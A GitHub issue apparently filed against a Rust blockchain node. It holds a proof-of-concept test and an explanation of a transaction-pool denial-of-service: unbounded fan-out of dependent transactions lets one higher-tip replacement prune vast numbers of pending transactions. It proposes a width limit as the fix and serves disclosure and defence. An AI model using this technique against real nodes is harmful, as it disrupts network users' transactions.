Open xgreenx opened 2 months ago
#[tokio::test]
async fn poc_incorrect_prune() {
let max_tx = 5;
let mut context = TextContext::default().config(Config {
max_tx,
..Default::default()
}); // set a low max_tx to easily demonstrate our point
let (_, gas_coin) = context.setup_coin();
let tx_benign = TransactionBuilder::script(vec![], vec![])
.tip(1)
.max_fee_limit(1)
.script_gas_limit(GAS_LIMIT)
.add_input(gas_coin)
.finalize_as_transaction();
let (_, gas_coin) = context.setup_coin();
let mut inputs = vec![];
let mut outputs = vec![];
for _ in 0..max_tx {
let input = context.random_predicate(AssetId::BASE, 1000000000, None);
let output = Output::variable(*input.input_owner().unwrap(), 0, AssetId::BASE);
inputs.push(UnsetInput(input));
outputs.push(output);
}
let tx_malicious_init = TransactionBuilder::script(vec![], vec![])
.tip(2)
.max_fee_limit(2)
.script_gas_limit(GAS_LIMIT)
.add_input(gas_coin)
.add_output(outputs[0])
.add_output(outputs[1])
.add_output(outputs[2])
.add_output(outputs[3])
.add_output(outputs[4])
.finalize_as_transaction();
let mut tx_malicious_fill = vec![];
for i in 0..max_tx {
let tx = TransactionBuilder::script(vec![], vec![])
.tip(100)
.max_fee_limit(100)
.script_gas_limit(GAS_LIMIT)
.add_input(inputs.remove(0).into_input(UtxoId::new(
tx_malicious_init.id(&Default::default()),
i.try_into().unwrap(),
)))
.finalize_as_transaction();
tx_malicious_fill.push(tx);
}
let mut txpool = context.build();
let tx_benign = check_unwrap_tx(tx_benign, &txpool.config).await;
txpool
.insert_single(tx_benign.clone())
.expect("tx_benign should be OK, got Err");
let tx_malicious_init = check_unwrap_tx(tx_malicious_init, &txpool.config).await;
txpool
.insert_single(tx_malicious_init)
.expect("tx_malicious_init should be OK, got Err");
for _ in 0..max_tx {
let tx = check_unwrap_tx(tx_malicious_fill.remove(0), &txpool.config).await;
txpool
.insert_single(tx)
.expect("tx_malicious_fill should be OK, got Err");
}
assert!(txpool.pending_number() == 0, "clear failed",);
}
Example of the attack
The TxPool supports the feature that allows chain transactions and the use of uncommitted UTXOs.
We allow chaining up to
max_depth
dependent transactions. But we don't limit the width of the chain. Taking into account that it is possible to create a transaction with 255 outputs, and for each of these outputs, create another dependent transaction with 255 outputs and continue this process untilmax_depth
is reached.After setup the TxPool to have
255^max_depth
dependent transactions, the manipulator can insert conflicting transactions with higher tips to replace the first dependent transaction and cause cleanup of255^max_depth - 1
transactions.We need to limit dependent transactions on width as well.